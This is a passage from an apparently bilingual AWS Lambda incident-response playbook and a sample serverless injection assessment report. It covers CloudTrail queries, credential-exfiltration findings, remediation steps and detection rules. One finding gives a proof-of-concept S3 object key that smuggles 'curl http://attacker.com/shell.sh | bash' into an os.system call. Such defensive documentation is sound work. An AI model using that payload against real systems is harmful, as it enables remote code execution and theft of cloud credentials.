    to an external endpoint on each invocation
  4. Check if the attacker also added a malicious layer by querying for
    UpdateFunctionConfiguration
    events with layer changes
  5. Verify the function's execution role permissions: the payment-processor role has
    dynamodb:*
    ,
    s3:GetObject
    ,
    s3:PutObject
    , and
    sqs:SendMessage
    across all resources, exceeding least privilege
  6. Search CloudTrail for API calls made by the exfiltrated credentials from outside AWS, finding
    sts:GetCallerIdentity
    ,
    s3:ListBuckets
    ,
    dynamodb:Scan
    on the customer table, and
    iam:CreateUser
    attempts
  7. Respond by reverting the function code from the last known-good deployment package in the CI/CD artifact store, rotating the execution role's session tokens, and adding an SCP that restricts
    lambda:UpdateFunctionCode
    to the CI/CD role only
Pitfalls:
  • Only checking the function code and missing malicious layers that persist even after the function code is reverted
  • Not searching for lateral movement from the exfiltrated credentials to other AWS services, missing data exfiltration from DynamoDB or S3
  • Failing to check if the attacker created new IAM users, access keys, or roles during the window the credentials were valid
  • Restoring the function without first preserving the malicious code as forensic evidence
  • Not implementing preventive controls (SCP, EventBridge alerting) after remediation, leaving the same attack path open
背景:SOC分析师收到GuardDuty告警
UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS
,涉及多个Lambda函数使用的IAM角色。调查发现,攻击者攻陷了开发者的AWS凭证(拥有
lambda:UpdateFunctionCode
权限),并修改了支付处理函数以窃取执行角色的临时凭证。
应对方法
  1. 查询过去7天CloudTrail中的
    UpdateFunctionCode
    事件,确定函数何时被修改以及修改者:
    fields eventTime, userIdentity.arn, requestParameters.functionName, sourceIPAddress
    | filter eventName = "UpdateFunctionCode20150331v2"
    | filter requestParameters.functionName = "payment-processor"
    | sort eventTime desc
  2. 发现函数在02:47 UTC被来自意外地理位置的IP修改,超出正常部署窗口
  3. 下载修改后的函数代码,发现注入的代码片段会在每次调用时将
    os.environ['AWS_ACCESS_KEY_ID']
    AWS_SECRET_ACCESS_KEY
    AWS_SESSION_TOKEN
    发送到外部端点
  4. 通过查询带有层变更的
    UpdateFunctionConfiguration
    事件,检查攻击者是否还添加了恶意层
  5. 验证函数执行角色权限:payment-processor角色拥有所有资源的
    dynamodb:*
    s3:GetObject
    s3:PutObject
    sqs:SendMessage
    权限,超出最小权限要求
  6. 在CloudTrail中搜索窃取的凭证在AWS外部发起的API调用,发现
    sts:GetCallerIdentity
    s3:ListBuckets
    、对客户表的
    dynamodb:Scan
    以及
    iam:CreateUser
    尝试
  7. 响应措施:从CI/CD工件存储库中的最后一个已知良好部署包恢复函数代码,轮换执行角色的会话令牌,并添加SCP限制仅CI/CD角色可执行
    lambda:UpdateFunctionCode
常见误区
  • 仅检查函数代码,忽略恶意层(即使函数代码恢复,恶意层仍会保留)
  • 未搜索窃取凭证向其他AWS服务的横向移动,遗漏从DynamoDB或S3窃取数据的行为
  • 未检查攻击者在凭证有效期内是否创建了新的IAM用户、访问密钥或角色
  • 恢复函数前未保留恶意代码作为取证证据
  • 修复后未实施预防控制(SCP、EventBridge告警),导致相同攻击路径仍然开放

Output Format

输出格式

undefined
undefined

Serverless Function Injection Assessment

无服务器函数注入评估

Account: 111122223333 Region: us-east-1 Functions Analyzed: 47 Event Source Mappings: 23 Assessment Date: 2026-03-19
账户:111122223333 区域:us-east-1 分析的函数数量:47 事件源映射数量:23 评估日期:2026-03-19

Critical Findings

关键发现

FINDING-001: OS Command Injection in S3 Event Handler

FINDING-001:S3事件处理器中的操作系统命令注入

Function: image-resize-processor Runtime: python3.12 Severity: Critical (CVSS 9.8) Sink: os.system() at handler.py:34 Source: event['Records'][0]['s3']['object']['key'] Attack Vector: Upload S3 object with key containing shell metacharacters Proof of Concept: Object key:
; curl http://attacker.com/shell.sh | bash
Results in: os.system("convert /tmp/; curl http://attacker.com/shell.sh | bash") Remediation: Replace os.system() with subprocess.run() with shell=False and validate the S3 key against an allowlist pattern.
函数:image-resize-processor 运行时:python3.12 严重程度:关键(CVSS 9.8) 接收点:handler.py:34处的os.system() 来源:event['Records'][0]['s3']['object']['key'] 攻击向量:上传带有Shell元字符的S3对象键 概念验证: 对象键:
; curl http://attacker.com/shell.sh | bash
执行结果:os.system("convert /tmp/; curl http://attacker.com/shell.sh | bash") 修复建议:将os.system()替换为带shell=False的subprocess.run() 并根据白名单模式验证S3键。

FINDING-002: IAM Privilege Escalation Path

FINDING-002:IAM权限提升路径

Function: data-export-worker Execution Role: arn:aws:iam::111122223333:role/DataExportRole Role Permissions: s3:, dynamodb:, iam:PassRole, lambda:* Risk: Any user with lambda:UpdateFunctionCode can modify this function to execute arbitrary AWS API calls with AdministratorAccess-equivalent permissions. Remediation: Apply least privilege to the execution role, restrict lambda:UpdateFunctionCode via SCP to CI/CD pipeline role only.
函数:data-export-worker 执行角色:arn:aws:iam::111122223333:role/DataExportRole 角色权限:s3:, dynamodb:, iam:PassRole, lambda:* 风险:任何拥有lambda:UpdateFunctionCode权限的用户都可修改此函数 以执行具有管理员权限级别的任意AWS API调用。 修复建议:为执行角色应用最小权限原则,通过SCP限制仅CI/CD流水线角色可执行lambda:UpdateFunctionCode。

FINDING-003: Unauthorized Layer Attached

FINDING-003:附加未授权层

Function: auth-token-validator Layer: arn:aws:lambda:us-east-1:999888777666:layer:utility-lib:3 Layer Account: External account (999888777666) Risk: Layer from untrusted external account can intercept all function invocations, modify responses, or exfiltrate environment variables. Remediation: Remove the external layer, vendor the dependency into the function's deployment package, add AWS Config rule to block external layers.
函数:auth-token-validator :arn:aws:lambda:us-east-1:999888777666:layer:utility-lib:3 层所属账户:外部账户(999888777666) 风险:来自不受信任外部账户的层可拦截所有函数 调用、修改响应或窃取环境变量。 修复建议:移除外部层,将依赖打包到函数部署包中,添加AWS Config规则阻止外部层。

Detection Rules Deployed

部署的检测规则

  • EventBridge rule: Alert on UpdateFunctionCode from non-CI/CD principals
  • CloudWatch alarm: Function error rate spike > 3x baseline in 5 minutes
  • Config rule: Lambda functions must not have layers from external accounts
  • Config rule: Lambda execution roles must not have wildcard resource permissions
undefined
  • EventBridge规则:非CI/CD主体执行UpdateFunctionCode时告警
  • CloudWatch告警:5分钟内函数错误率超过基线3倍时告警
  • Config规则:Lambda函数不得使用外部账户的层
  • Config规则:Lambda执行角色不得拥有通配符资源权限
undefined